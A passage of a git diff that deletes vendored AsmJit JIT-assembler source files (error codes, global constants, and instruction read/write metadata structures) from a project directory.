uint32_t(sizeof(intptr_t) * 4); - -//! Host memory allocator alignment. -static constexpr uint32_t kAllocAlignment = 8; - -//! Aggressive growing strategy threshold. -static constexpr uint32_t kGrowThreshold = 1024 * 1024 * 16; - -//! Maximum depth of RB-Tree is: -//! -//! `2 * log2(n + 1)` -//! -//! Size of RB node is at least two pointers (without data), -//! so a theoretical architecture limit would be: -//! -//! `2 * log2(addressableMemorySize / sizeof(Node) + 1)` -//! -//! Which yields 30 on 32-bit arch and 61 on 64-bit arch. -//! The final value was adjusted by +1 for safety reasons. -static constexpr uint32_t kMaxTreeHeight = (ASMJIT_ARCH_BITS == 32 ? 30 : 61) + 1; - -//! Maximum number of operands per a single instruction. -static constexpr uint32_t kMaxOpCount = 6; - -//! Maximum arguments of a function supported by the Compiler / Function API. -static constexpr uint32_t kMaxFuncArgs = 16; - -//! The number of values that can be assigned to a single function argument or -//! return value. -static constexpr uint32_t kMaxValuePack = 4; - -//! Maximum number of physical registers AsmJit can use per register group. -static constexpr uint32_t kMaxPhysRegs = 32; - -//! Maximum alignment. -static constexpr uint32_t kMaxAlignment = 64; - -//! Maximum label or symbol size in bytes. -static constexpr uint32_t kMaxLabelNameSize = 2048; - -//! Maximum section name size. -static constexpr uint32_t kMaxSectionNameSize = 35; - -//! Maximum size of comment. -static constexpr uint32_t kMaxCommentSize = 1024; - -//! Invalid identifier. -static constexpr uint32_t kInvalidId = 0xFFFFFFFFu; - -//! Returned by `indexOf()` and similar when working with containers that use 32-bit index/size. -static constexpr uint32_t kNotFound = 0xFFFFFFFFu; - -//! Invalid base address. -static constexpr uint64_t kNoBaseAddress = ~uint64_t(0); - -// ============================================================================ -// [asmjit::Globals::ResetPolicy] -// ============================================================================ - -//! Reset policy used by most `reset()` functions. -enum ResetPolicy : uint32_t { - //! Soft reset, doesn't deallocate memory (default). - kResetSoft = 0, - //! Hard reset, releases all memory used, if any. - kResetHard = 1 -}; - -// ============================================================================ -// [asmjit::Globals::Link] -// ============================================================================ - -enum Link : uint32_t { - kLinkLeft = 0, - kLinkRight = 1, - - kLinkPrev = 0, - kLinkNext = 1, - - kLinkFirst = 0, - kLinkLast = 1, - - kLinkCount = 2 -}; - -struct Init_ {}; -struct NoInit_ {}; - -static const constexpr Init_ Init {}; -static const constexpr NoInit_ NoInit {}; - -} // {Globals} - -// ============================================================================ -// [asmjit::ByteOrder] -// ============================================================================ - -//! Byte order. -namespace ByteOrder { - enum : uint32_t { - kLE = 0, - kBE = 1, - kNative = ASMJIT_ARCH_LE ? kLE : kBE, - kSwapped = ASMJIT_ARCH_LE ? kBE : kLE - }; -} - -// ============================================================================ -// [asmjit::ptr_as_func / func_as_ptr] -// ============================================================================ - -template -static inline Func ptr_as_func(void* func) noexcept { return Support::ptr_cast_impl(func); } - -template -static inline void* func_as_ptr(Func func) noexcept { return Support::ptr_cast_impl(func); } - -//! \} - -// ============================================================================ -// [asmjit::Error] -// ============================================================================ - -//! \addtogroup asmjit_error_handling -//! \{ - -//! AsmJit error type (uint32_t). -typedef uint32_t Error; - -//! AsmJit error codes. -enum ErrorCode : uint32_t { - // @EnumValuesBegin{"enum": "ErrorCode"}@ - - //! No error (success). - kErrorOk = 0, - - //! Out of memory. - kErrorOutOfMemory, - - //! Invalid argument. - kErrorInvalidArgument, - - //! Invalid state. - //! - //! If this error is returned it means that either you are doing something - //! wrong or AsmJit caught itself by doing something wrong. This error should - //! never be ignored. - kErrorInvalidState, - - //! Invalid or incompatible architecture. - kErrorInvalidArch, - - //! The object is not initialized. - kErrorNotInitialized, - //! The object is already initialized. - kErrorAlreadyInitialized, - - //! Built-in feature was disabled at compile time and it's not available. - kErrorFeatureNotEnabled, - - //! Too many handles (Windows) or file descriptors (Unix/Posix). - kErrorTooManyHandles, - //! Code generated is larger than allowed. - kErrorTooLarge, - - //! No code generated. - //! - //! Returned by runtime if the \ref CodeHolder contains no code. - kErrorNoCodeGenerated, - - //! Invalid directive. - kErrorInvalidDirective, - //! Attempt to use uninitialized label. - kErrorInvalidLabel, - //! Label index overflow - a single \ref BaseAssembler instance can hold - //! almost 2^32 (4 billion) labels. If there is an attempt to create more - //! labels then this error is returned. - kErrorTooManyLabels, - //! Label is already bound. - kErrorLabelAlreadyBound, - //! Label is already defined (named labels). - kErrorLabelAlreadyDefined, - //! Label name is too long. - kErrorLabelNameTooLong, - //! Label must always be local if it's anonymous (without a name). - kErrorInvalidLabelName, - //! Parent id passed to \ref CodeHolder::newNamedLabelEntry() was invalid. - kErrorInvalidParentLabel, - //! Parent id specified for a non-local (global) label. - kErrorNonLocalLabelCannotHaveParent, - - //! Invalid section. - kErrorInvalidSection, - //! Too many sections (section index overflow). - kErrorTooManySections, - //! Invalid section name (most probably too long). - kErrorInvalidSectionName, - - //! Relocation index overflow (too many relocations). - kErrorTooManyRelocations, - //! Invalid relocation entry. - kErrorInvalidRelocEntry, - //! Reloc entry contains address that is out of range (unencodable). - kErrorRelocOffsetOutOfRange, - - //! Invalid assignment to a register, function argument, or function return value. - kErrorInvalidAssignment, - //! Invalid instruction. - kErrorInvalidInstruction, - //! Invalid register type. - kErrorInvalidRegType, - //! Invalid register group. - kErrorInvalidRegGroup, - //! Invalid physical register id. - kErrorInvalidPhysId, - //! Invalid virtual register id. - kErrorInvalidVirtId, - //! Invalid element index (ARM). - kErrorInvalidElementIndex, - //! Invalid prefix combination (X86|X64). - kErrorInvalidPrefixCombination, - //! Invalid LOCK prefix (X86|X64). - kErrorInvalidLockPrefix, - //! Invalid XACQUIRE prefix (X86|X64). - kErrorInvalidXAcquirePrefix, - //! Invalid XRELEASE prefix (X86|X64). - kErrorInvalidXReleasePrefix, - //! Invalid REP prefix (X86|X64). - kErrorInvalidRepPrefix, - //! Invalid REX prefix (X86|X64). - kErrorInvalidRexPrefix, - //! Invalid {...} register (X86|X64). - kErrorInvalidExtraReg, - //! Invalid {k} use (not supported by the instruction) (X86|X64). - kErrorInvalidKMaskUse, - //! Invalid {k}{z} use (not supported by the instruction) (X86|X64). - kErrorInvalidKZeroUse, - //! Invalid broadcast - Currently only related to invalid use of AVX-512 {1tox} (X86|X64). - kErrorInvalidBroadcast, - //! Invalid 'embedded-rounding' {er} or 'suppress-all-exceptions' {sae} (AVX-512) (X86|X64). - kErrorInvalidEROrSAE, - //! Invalid address used (not encodable). - kErrorInvalidAddress, - //! Invalid index register used in memory address (not encodable). - kErrorInvalidAddressIndex, - //! Invalid address scale (not encodable). - kErrorInvalidAddressScale, - //! Invalid use of 64-bit address. - kErrorInvalidAddress64Bit, - //! Invalid use of 64-bit address that require 32-bit zero-extension (X64). - kErrorInvalidAddress64BitZeroExtension, - //! Invalid displacement (not encodable). - kErrorInvalidDisplacement, - //! Invalid segment (X86). - kErrorInvalidSegment, - - //! Invalid immediate (out of bounds on X86 and invalid pattern on ARM). - kErrorInvalidImmediate, - - //! Invalid operand size. - kErrorInvalidOperandSize, - //! Ambiguous operand size (memory has zero size while it's required to determine the operation type. - kErrorAmbiguousOperandSize, - //! Mismatching operand size (size of multiple operands doesn't match the operation size). - kErrorOperandSizeMismatch, - - //! Invalid option. - kErrorInvalidOption, - //! Option already defined. - kErrorOptionAlreadyDefined, - - //! Invalid TypeId. - kErrorInvalidTypeId, - //! Invalid use of a 8-bit GPB-HIGH register. - kErrorInvalidUseOfGpbHi, - //! Invalid use of a 64-bit GPQ register in 32-bit mode. - kErrorInvalidUseOfGpq, - //! Invalid use of an 80-bit float (\ref Type::kIdF80). - kErrorInvalidUseOfF80, - //! Some registers in the instruction muse be consecutive (some ARM and AVX512 - //! neural-net instructions). - kErrorNotConsecutiveRegs, - - //! Illegal virtual register - reported by instruction validation. - kErrorIllegalVirtReg, - //! AsmJit cannot create more virtual registers. - kErrorTooManyVirtRegs, - - //! AsmJit requires a physical register, but no one is available. - kErrorNoMorePhysRegs, - //! A variable has been assigned more than once to a function argument (BaseCompiler). - kErrorOverlappedRegs, - //! Invalid register to hold stack arguments offset. - kErrorOverlappingStackRegWithRegArg, - - //! Unbound label cannot be evaluated by expression. - kErrorExpressionLabelNotBound, - //! Arithmetic overflow during expression evaluation. - kErrorExpressionOverflow, - - //! Failed to open anonymous memory handle or file descriptor. - kErrorFailedToOpenAnonymousMemory, - - // @EnumValuesEnd@ - - //! Count of AsmJit error codes. - kErrorCount -}; - -// ============================================================================ -// [asmjit::DebugUtils] -// ============================================================================ - -//! Debugging utilities. -namespace DebugUtils { - -//! \cond INTERNAL -//! Used to silence warnings about unused arguments or variables. -template -static ASMJIT_INLINE void unused(Args&&...) noexcept {} -//! \endcond - -//! Returns the error `err` passed. -//! -//! Provided for debugging purposes. Putting a breakpoint inside `errored` can -//! help with tracing the origin of any error reported / returned by AsmJit. -static constexpr Error errored(Error err) noexcept { return err; } - -//! Returns a printable version of `asmjit::Error` code. -ASMJIT_API const char* errorAsString(Error err) noexcept; - -//! Called to output debugging message(s). -ASMJIT_API void debugOutput(const char* str) noexcept; - -//! Called on assertion failure. -//! -//! \param file Source file name where it happened. -//! \param line Line in the source file. -//! \param msg Message to display. -//! -//! If you have problems with assertion failures a breakpoint can be put -//! at \ref assertionFailed() function (asmjit/core/globals.cpp). A call stack -//! will be available when such assertion failure is triggered. AsmJit always -//! returns errors on failures, assertions are a last resort and usually mean -//! unrecoverable state due to out of range array access or totally invalid -//! arguments like nullptr where a valid pointer should be provided, etc... -ASMJIT_API void ASMJIT_NORETURN assertionFailed(const char* file, int line, const char* msg) noexcept; - -} // {DebugUtils} - -//! \def ASMJIT_ASSERT(...) -//! -//! AsmJit's own assert macro used in AsmJit code-base. -#if defined(ASMJIT_BUILD_DEBUG) -#define ASMJIT_ASSERT(...) \ - do { \ - if (ASMJIT_LIKELY(__VA_ARGS__)) \ - break; \ - ::asmjit::DebugUtils::assertionFailed(__FILE__, __LINE__, #__VA_ARGS__); \ - } while (0) -#else -#define ASMJIT_ASSERT(...) ((void)0) -#endif - -//! \def ASMJIT_PROPAGATE(...) -//! -//! Propagates a possible `Error` produced by `...` to the caller by returning -//! the error immediately. Used by AsmJit internally, but kept public for users -//! that want to use the same technique to propagate errors to the caller. -#define ASMJIT_PROPAGATE(...) \ - do { \ - ::asmjit::Error _err = __VA_ARGS__; \ - if (ASMJIT_UNLIKELY(_err)) \ - return _err; \ - } while (0) - -//! \} - -ASMJIT_END_NAMESPACE - -#endif // ASMJIT_CORE_GLOBALS_H_INCLUDED diff --git a/src/Theodosius/asmjit/core/inst.cpp b/src/Theodosius/asmjit/core/inst.cpp deleted file mode 100644 index a79fe83..0000000 --- a/src/Theodosius/asmjit/core/inst.cpp +++ /dev/null @@ -1,139 +0,0 @@ -// AsmJit - Machine code generation for C++ -// -// * Official AsmJit Home Page: https://asmjit.com -// * Official Github Repository: https://github.com/asmjit/asmjit -// -// Copyright (c) 2008-2020 The AsmJit Authors -// -// This software is provided 'as-is', without any express or implied -// warranty. In no event will the authors be held liable for any damages -// arising from the use of this software. -// -// Permission is granted to anyone to use this software for any purpose, -// including commercial applications, and to alter it and redistribute it -// freely, subject to the following restrictions: -// -// 1. The origin of this software must not be misrepresented; you must not -// claim that you wrote the original software. If you use this software -// in a product, an acknowledgment in the product documentation would be -// appreciated but is not required. -// 2. Altered source versions must be plainly marked as such, and must not be -// misrepresented as being the original software. -// 3. This notice may not be removed or altered from any source distribution. - -#include "../core/api-build_p.h" -#ifdef ASMJIT_BUILD_X86 - -#include "../core/archtraits.h" -#include "../core/inst.h" - -#ifdef ASMJIT_BUILD_X86 - #include "../x86/x86instapi_p.h" -#endif - -#ifdef ASMJIT_BUILD_ARM - #include "../arm/a64instapi_p.h" -#endif - -ASMJIT_BEGIN_NAMESPACE - -// ============================================================================ -// [asmjit::InstAPI - Text] -// ============================================================================ - -#ifndef ASMJIT_NO_TEXT -Error InstAPI::instIdToString(uint32_t arch, uint32_t instId, String& output) noexcept { -#ifdef ASMJIT_BUILD_X86 - if (Environment::isFamilyX86(arch)) - return x86::InstInternal::instIdToString(arch, instId, output); -#endif - -#ifdef ASMJIT_BUILD_ARM - if (Environment::isArchAArch64(arch)) - return a64::InstInternal::instIdToString(arch, instId, output); -#endif - - return DebugUtils::errored(kErrorInvalidArch); -} - -uint32_t InstAPI::stringToInstId(uint32_t arch, const char* s, size_t len) noexcept { -#ifdef ASMJIT_BUILD_X86 - if (Environment::isFamilyX86(arch)) - return x86::InstInternal::stringToInstId(arch, s, len); -#endif - -#ifdef ASMJIT_BUILD_ARM - if (Environment::isArchAArch64(arch)) - return a64::InstInternal::stringToInstId(arch, s, len); -#endif - - return 0; -} -#endif // !ASMJIT_NO_TEXT - -// ============================================================================ -// [asmjit::InstAPI - Validate] -// ============================================================================ - -#ifndef ASMJIT_NO_VALIDATION -Error InstAPI::validate(uint32_t arch, const BaseInst& inst, const Operand_* operands, size_t opCount, uint32_t validationFlags) noexcept { -#ifdef ASMJIT_BUILD_X86 - if (Environment::isFamilyX86(arch)) - return x86::InstInternal::validate(arch, inst, operands, opCount, validationFlags); -#endif - -#ifdef ASMJIT_BUILD_ARM - if (Environment::isArchAArch64(arch)) - return a64::InstInternal::validate(arch, inst, operands, opCount, validationFlags); -#endif - - return DebugUtils::errored(kErrorInvalidArch); -} -#endif // !ASMJIT_NO_VALIDATION - -// ============================================================================ -// [asmjit::InstAPI - QueryRWInfo] -// ============================================================================ - -#ifndef ASMJIT_NO_INTROSPECTION -Error InstAPI::queryRWInfo(uint32_t arch, const BaseInst& inst, const Operand_* operands, size_t opCount, InstRWInfo* out) noexcept { - if (ASMJIT_UNLIKELY(opCount > Globals::kMaxOpCount)) - return DebugUtils::errored(kErrorInvalidArgument); - -#ifdef ASMJIT_BUILD_X86 - if (Environment::isFamilyX86(arch)) - return x86::InstInternal::queryRWInfo(arch, inst, operands, opCount, out); -#endif - -#ifdef ASMJIT_BUILD_ARM - if (Environment::isArchAArch64(arch)) - return a64::InstInternal::queryRWInfo(arch, inst, operands, opCount, out); -#endif - - return DebugUtils::errored(kErrorInvalidArch); -} -#endif // !ASMJIT_NO_INTROSPECTION - -// ============================================================================ -// [asmjit::InstAPI - QueryFeatures] -// ============================================================================ - -#ifndef ASMJIT_NO_INTROSPECTION -Error InstAPI::queryFeatures(uint32_t arch, const BaseInst& inst, const Operand_* operands, size_t opCount, BaseFeatures* out) noexcept { -#ifdef ASMJIT_BUILD_X86 - if (Environment::isFamilyX86(arch)) - return x86::InstInternal::queryFeatures(arch, inst, operands, opCount, out); -#endif - -#ifdef ASMJIT_BUILD_ARM - if (Environment::isArchAArch64(arch)) - return a64::InstInternal::queryFeatures(arch, inst, operands, opCount, out); -#endif - - return DebugUtils::errored(kErrorInvalidArch); -} -#endif // !ASMJIT_NO_INTROSPECTION - -ASMJIT_END_NAMESPACE - -#endif // ASMJIT_BUILD_X86 diff --git a/src/Theodosius/asmjit/core/inst.h b/src/Theodosius/asmjit/core/inst.h deleted file mode 100644 index bc3708d..0000000 --- a/src/Theodosius/asmjit/core/inst.h +++ /dev/null @@ -1,559 +0,0 @@ -// AsmJit - Machine code generation for C++ -// -// * Official AsmJit Home Page: https://asmjit.com -// * Official Github Repository: https://github.com/asmjit/asmjit -// -// Copyright (c) 2008-2020 The AsmJit Authors -// -// This software is provided 'as-is', without any express or implied -// warranty. In no event will the authors be held liable for any damages -// arising from the use of this software. -// -// Permission is granted to anyone to use this software for any purpose, -// including commercial applications, and to alter it and redistribute it -// freely, subject to the following restrictions: -// -// 1. The origin of this software must not be misrepresented; you must not -// claim that you wrote the original software. If you use this software -// in a product, an acknowledgment in the product documentation would be -// appreciated but is not required. -// 2. Altered source versions must be plainly marked as such, and must not be -// misrepresented as being the original software. -// 3. This notice may not be removed or altered from any source distribution. - -#ifndef ASMJIT_CORE_INST_H_INCLUDED -#define ASMJIT_CORE_INST_H_INCLUDED - -#include "../core/cpuinfo.h" -#include "../core/operand.h" -#include "../core/string.h" -#include "../core/support.h" - -ASMJIT_BEGIN_NAMESPACE - -//! \addtogroup asmjit_instruction_db -//! \{ - -// ============================================================================ -// [asmjit::BaseInst] -// ============================================================================ - -//! Instruction id, options, and extraReg in a single structure. This structure -//! exists mainly to simplify analysis and validation API that requires `BaseInst` -//! and `Operand[]` array. -class BaseInst { -public: - //! Instruction id, see \ref BaseInst::Id or {arch-specific}::Inst::Id. - uint32_t _id; - //! Instruction options, see \ref BaseInst::Options or {arch-specific}::Inst::Options. - uint32_t _options; - //! Extra register used by instruction (either REP register or AVX-512 selector). - RegOnly _extraReg; - - enum Id : uint32_t { - //! Invalid or uninitialized instruction id. - kIdNone = 0x00000000u, - //! Abstract instruction (BaseBuilder and BaseCompiler). - kIdAbstract = 0x80000000u - }; - - enum Options : uint32_t { - //! Used internally by emitters for handling errors and rare cases. - kOptionReserved = 0x00000001u, - - //! Prevents following a jump during compilation (BaseCompiler). - kOptionUnfollow = 0x00000002u, - - //! Overwrite the destination operand(s) (BaseCompiler). - //! - //! Hint that is important for register liveness analysis. It tells the - //! compiler that the destination operand will be overwritten now or by - //! adjacent instructions. BaseCompiler knows when a register is completely - //! overwritten by a single instruction, for example you don't have to - //! mark "movaps" or "pxor x, x", however, if a pair of instructions is - //! used and the first of them doesn't completely overwrite the content - //! of the destination, BaseCompiler fails to mark that register as dead. - //! - //! X86 Specific - //! ------------ - //! - //! - All instructions that always overwrite at least the size of the - //! register the virtual-register uses , for example "mov", "movq", - //! "movaps" don't need the overwrite option to be used - conversion, - //! shuffle, and other miscellaneous instructions included. - //! - //! - All instructions that clear the destination register if all operands - //! are the same, for example "xor x, x", "pcmpeqb x x", etc... - //! - //! - Consecutive instructions that partially overwrite the variable until - //! there is no old content require `BaseCompiler::overwrite()` to be used. - //! Some examples (not always the best use cases thought): - //! - //! - `movlps xmm0, ?` followed by `movhps xmm0, ?` and vice versa - //! - `movlpd xmm0, ?` followed by `movhpd xmm0, ?` and vice versa - //! - `mov al, ?` followed by `and ax, 0xFF` - //! - `mov al, ?` followed by `mov ah, al` - //! - `pinsrq xmm0, ?, 0` followed by `pinsrq xmm0, ?, 1` - //! - //! - If allocated variable is used temporarily for scalar operations. For - //! example if you allocate a full vector like `x86::Compiler::newXmm()` - //! and then use that vector for scalar operations you should use - //! `overwrite()` directive: - //! - //! - `sqrtss x, y` - only LO element of `x` is changed, if you don't - //! use HI elements, use `compiler.overwrite().sqrtss(x, y)`. - kOptionOverwrite = 0x00000004u, - - //! Emit short-form of the instruction. - kOptionShortForm = 0x00000010u, - //! Emit long-form of the instruction. - kOptionLongForm = 0x00000020u, - - //! Conditional jump is likely to be taken. - kOptionTaken = 0x00000040u, - //! Conditional jump is unlikely to be taken. - kOptionNotTaken = 0x00000080u - }; - - //! Control type. - enum ControlType : uint32_t { - //! No control type (doesn't jump). - kControlNone = 0u, - //! Unconditional jump. - kControlJump = 1u, - //! Conditional jump (branch). - kControlBranch = 2u, - //! Function call. - kControlCall = 3u, - //! Function return. - kControlReturn = 4u - }; - - //! \name Construction & Destruction - //! \{ - - //! Creates a new BaseInst instance with `id` and `options` set. - //! - //! Default values of `id` and `options` are zero, which means none instruciton. - //! Such instruction is guaranteed to never exist for any architecture supported - //! by AsmJit. - inline explicit BaseInst(uint32_t id = 0, uint32_t options = 0) noexcept - : _id(id), - _options(options), - _extraReg() {} - - inline BaseInst(uint32_t id, uint32_t options, const RegOnly& extraReg) noexcept - : _id(id), - _options(options), - _extraReg(extraReg) {} - - inline BaseInst(uint32_t id, uint32_t options, const BaseReg& extraReg) noexcept - : _id(id), - _options(options), - _extraReg { extraReg.signature(), extraReg.id() } {} - - //! \} - - //! \name Instruction ID - //! \{ - - //! Returns the instruction id. - inline uint32_t id() const noexcept { return _id; } - //! Sets the instruction id to the given `id`. - inline void setId(uint32_t id) noexcept { _id = id; } - //! Resets the instruction id to zero, see \ref kIdNone. - inline void resetId() noexcept { _id = 0; } - - //! \} - - //! \name Instruction Options - //! \{ - - inline uint32_t options() const noexcept { return _options; } - inline bool hasOption(uint32_t option) const noexcept { return (_options & option) != 0; } - inline void setOptions(uint32_t options) noexcept { _options = options; } - inline void addOptions(uint32_t options) noexcept { _options |= options; } - inline void clearOptions(uint32_t options) noexcept { _options &= ~options; } - inline void resetOptions() noexcept { _options = 0; } - - //! \} - - //! \name Extra Register - //! \{ - - inline bool hasExtraReg() const noexcept { return _extraReg.isReg(); } - inline RegOnly& extraReg() noexcept { return _extraReg; } - inline const RegOnly& extraReg() const noexcept { return _extraReg; } - inline void setExtraReg(const BaseReg& reg) noexcept { _extraReg.init(reg); } - inline void setExtraReg(const RegOnly& reg) noexcept { _extraReg.init(reg); } - inline void resetExtraReg() noexcept { _extraReg.reset(); } - - //! \} -}; - -// ============================================================================ -// [asmjit::OpRWInfo] -// ============================================================================ - -//! Read/Write information related to a single operand, used by \ref InstRWInfo. -struct OpRWInfo { - //! Read/Write flags, see \ref OpRWInfo::Flags. - uint32_t _opFlags; - //! Physical register index, if required. - uint8_t _physId; - //! Size of a possible memory operand that can replace a register operand. - uint8_t _rmSize; - //! Reserved for future use. - uint8_t _reserved[2]; - //! Read bit-mask where each bit represents one byte read from Reg/Mem. - uint64_t _readByteMask; - //! Write bit-mask where each bit represents one byte written to Reg/Mem. - uint64_t _writeByteMask; - //! Zero/Sign extend bit-mask where each bit represents one byte written to Reg/Mem. - uint64_t _extendByteMask; - - //! Flags describe how the operand is accessed and some additional information. - enum Flags : uint32_t { - //! Operand is read. - kRead = 0x00000001u, - - //! Operand is written. - kWrite = 0x00000002u, - - //! Operand is both read and written. - kRW = 0x00000003u, - - //! Register operand can be replaced by a memory operand. - kRegMem = 0x00000004u, - - //! The `extendByteMask()` represents a zero extension. - kZExt = 0x00000010u, - - //! Register operand must use \ref physId(). - kRegPhysId = 0x00000100u, - //! Base register of a memory operand must use \ref physId(). - kMemPhysId = 0x00000200u, - - //! This memory operand is only used to encode registers and doesn't access memory. - //! - //! X86 Specific - //! ------------ - //! - //! Instructions that use such feature include BNDLDX, BNDSTX, and LEA. - kMemFake = 0x000000400u, - - //! Base register of the memory operand will be read. - kMemBaseRead = 0x00001000u, - //! Base register of the memory operand will be written. - kMemBaseWrite = 0x00002000u, - //! Base register of the memory operand will be read & written. - kMemBaseRW = 0x00003000u, - - //! Index register of the memory operand will be read. - kMemIndexRead = 0x00004000u, - //! Index register of the memory operand will be written. - kMemIndexWrite = 0x00008000u, - //! Index register of the memory operand will be read & written. - kMemIndexRW = 0x0000C000u, - - //! Base register of the memory operand will be modified before the operation. - kMemBasePreModify = 0x00010000u, - //! Base register of the memory operand will be modified after the operation. - kMemBasePostModify = 0x00020000u - }; - - // Don't remove these asserts. Read/Write flags are used extensively - // by Compiler and they must always be compatible with constants below. - static_assert(kRead == 0x1, "OpRWInfo::kRead flag must be 0x1"); - static_assert(kWrite == 0x2, "OpRWInfo::kWrite flag must be 0x2"); - static_assert(kRegMem == 0x4, "OpRWInfo::kRegMem flag must be 0x4"); - - //! \name Reset - //! \{ - - //! Resets this operand information to all zeros. - inline void reset() noexcept { memset(this, 0, sizeof(*this)); } - - //! Resets this operand info (resets all members) and set common information - //! to the given `opFlags`, `regSize`, and possibly `physId`. - inline void reset(uint32_t opFlags, uint32_t regSize, uint32_t physId = BaseReg::kIdBad) noexcept { - _opFlags = opFlags; - _physId = uint8_t(physId); - _rmSize = uint8_t((opFlags & kRegMem) ? regSize : uint32_t(0)); - _resetReserved(); - - uint64_t mask = Support::lsbMask(regSize); - _readByteMask = opFlags & kRead ? mask : uint64_t(0); - _writeByteMask = opFlags & kWrite ? mask : uint64_t(0); - _extendByteMask = 0; - } - - inline void _resetReserved() noexcept { - memset(_reserved, 0, sizeof(_reserved)); - } - - //! \} - - //! \name Operand Flags - //! \{ - - //! Returns operand flags, see \ref Flags. - inline uint32_t opFlags() const noexcept { return _opFlags; } - //! Tests whether operand flags contain the given `flag`. - inline bool hasOpFlag(uint32_t flag) const noexcept { return (_opFlags & flag) != 0; } - - //! Adds the given `flags` to operand flags. - inline void addOpFlags(uint32_t flags) noexcept { _opFlags |= flags; } - //! Removes the given `flags` from operand flags. - inline void clearOpFlags(uint32_t flags) noexcept { _opFlags &= ~flags; } - - //! Tests whether this operand is read from. - inline bool isRead() const noexcept { return hasOpFlag(kRead); } - //! Tests whether this operand is written to. - inline bool isWrite() const noexcept { return hasOpFlag(kWrite); } - //! Tests whether this operand is both read and write. - inline bool isReadWrite() const noexcept { return (_opFlags & kRW) == kRW; } - //! Tests whether this operand is read only. - inline bool isReadOnly() const noexcept { return (_opFlags & kRW) == kRead; } - //! Tests whether this operand is write only. - inline bool isWriteOnly() const noexcept { return (_opFlags & kRW) == kWrite; } - - //! Tests whether this operand is Reg/Mem - //! - //! Reg/Mem operands can use either register or memory. - inline bool isRm() const noexcept { return hasOpFlag(kRegMem); } - - //! Tests whether the operand will be zero extended. - inline bool isZExt() const noexcept { return hasOpFlag(kZExt); } - - //! \} - - //! \name Memory Flags - //! \{ - - //! Tests whether this is a fake memory operand, which is only used, because - //! of encoding. Fake memory operands do not access any memory, they are only - //! used to encode registers. - inline bool isMemFake() const noexcept { return hasOpFlag(kMemFake); } - - //! Tests whether the instruction's memory BASE register is used. - inline bool isMemBaseUsed() const noexcept { return (_opFlags & kMemBaseRW) != 0; } - //! Tests whether the instruction reads from its BASE registers. - inline bool isMemBaseRead() const noexcept { return hasOpFlag(kMemBaseRead); } - //! Tests whether the instruction writes to its BASE registers. - inline bool isMemBaseWrite() const noexcept { return hasOpFlag(kMemBaseWrite); } - //! Tests whether the instruction reads and writes from/to its BASE registers. - inline bool isMemBaseReadWrite() const noexcept { return (_opFlags & kMemBaseRW) == kMemBaseRW; } - //! Tests whether the instruction only reads from its BASE registers. - inline bool isMemBaseReadOnly() const noexcept { return (_opFlags & kMemBaseRW) == kMemBaseRead; } - //! Tests whether the instruction only writes to its BASE registers. - inline bool isMemBaseWriteOnly() const noexcept { return (_opFlags & kMemBaseRW) == kMemBaseWrite; } - - //! Tests whether the instruction modifies the BASE register before it uses - //! it to calculate the target address. - inline bool isMemBasePreModify() const noexcept { return hasOpFlag(kMemBasePreModify); } - //! Tests whether the instruction modifies the BASE register after it uses - //! it to calculate the target address. - inline bool isMemBasePostModify() const noexcept { return hasOpFlag(kMemBasePostModify); } - - //! Tests whether the instruction's memory INDEX register is used. - inline bool isMemIndexUsed() const noexcept { return (_opFlags & kMemIndexRW) != 0; } - //! Tests whether the instruction reads the INDEX registers. - inline bool isMemIndexRead() const noexcept { return hasOpFlag(kMemIndexRead); } - //! Tests whether the instruction writes to its INDEX registers. - inline bool isMemIndexWrite() const noexcept { return hasOpFlag(kMemIndexWrite); } - //! Tests whether the instruction reads and writes from/to its INDEX registers. - inline bool isMemIndexReadWrite() const noexcept { return (_opFlags & kMemIndexRW) == kMemIndexRW; } - //! Tests whether the instruction only reads from its INDEX registers. - inline bool isMemIndexReadOnly() const noexcept { return (_opFlags & kMemIndexRW) == kMemIndexRead; } - //! Tests whether the instruction only writes to its INDEX registers. - inline bool isMemIndexWriteOnly() const noexcept { return (_opFlags & kMemIndexRW) == kMemIndexWrite; } - - //! \} - - //! \name Physical Register ID - //! \{ - - //! Returns a physical id of the register that is fixed for this operand. - //! - //! Returns \ref BaseReg::kIdBad if any register can be used. - inline uint32_t physId() const noexcept { return _physId; } - //! Tests whether \ref physId() would return a valid physical register id. - inline bool hasPhysId() const noexcept { return _physId != BaseReg::kIdBad; } - //! Sets physical register id, which would be fixed for this operand. - inline void setPhysId(uint32_t physId) noexcept { _physId = uint8_t(physId); } - - //! \} - - //! \name Reg/Mem Information - //! \{ - - //! Returns Reg/Mem size of the operand. - inline uint32_t rmSize() const noexcept { return _rmSize; } - //! Sets Reg/Mem size of the operand. - inline void setRmSize(uint32_t rmSize) noexcept { _rmSize = uint8_t(rmSize); } - - //! \} - - //! \name Read & Write Masks - //! \{ - - //! Returns read mask. - inline uint64_t readByteMask() const noexcept { return _readByteMask; } - //! Returns write mask. - inline uint64_t writeByteMask() const noexcept { return _writeByteMask; } - //! Returns extend mask. - inline uint64_t extendByteMask() const noexcept { return _extendByteMask; } - - //! Sets read mask. - inline void setReadByteMask(uint64_t mask) noexcept { _readByteMask = mask; } - //! Sets write mask. - inline void setWriteByteMask(uint64_t mask) noexcept { _writeByteMask = mask; } - //! Sets externd mask. - inline void setExtendByteMask(uint64_t mask) noexcept { _extendByteMask = mask; } - - //! \} -}; - -// ============================================================================ -// [asmjit::InstRWInfo] -// ============================================================================ - -//! Read/Write information of an instruction. -struct InstRWInfo { - //! Instruction flags (there are no flags at the moment, this field is reserved). - uint32_t _instFlags; - //! Mask of CPU flags read. - uint32_t _readFlags; - //! Mask of CPU flags written. - uint32_t _writeFlags; - //! Count of operands. - uint8_t _opCount; - //! CPU feature required for replacing register operand with memory operand. - uint8_t _rmFeature; - //! Reserved for future use. - uint8_t _reserved[18]; - //! Read/Write onfo of extra register (rep{} or kz{}). - OpRWInfo _extraReg; - //! Read/Write info of instruction operands. - OpRWInfo _operands[Globals::kMaxOpCount]; - - //! \name Commons - //! \{ - - //! Resets this RW information to all zeros. - inline void reset() noexcept { memset(this, 0, sizeof(*this)); } - - //! \} - - //! \name Instruction Flags - //! - //! \{ - - inline uint32_t instFlags() const noexcept { return _instFlags; } - inline bool hasInstFlag(uint32_t flag) const noexcept { return (_instFlags & flag) != 0; } - - //! } - - //! \name CPU Flags Read/Write Information - //! \{ - - //! Returns read flags of the instruction. - inline uint32_t readFlags() const noexcept { return _readFlags; } - //! Returns write flags of the instruction. - inline uint32_t writeFlags() const noexcept { return _writeFlags; } - - //! \} - - //! \name Reg/Mem Information - //! \{ - - //! Returns the CPU feature required to replace a register operand with memory - //! operand. If the returned feature is zero (none) then this instruction - //! either doesn't 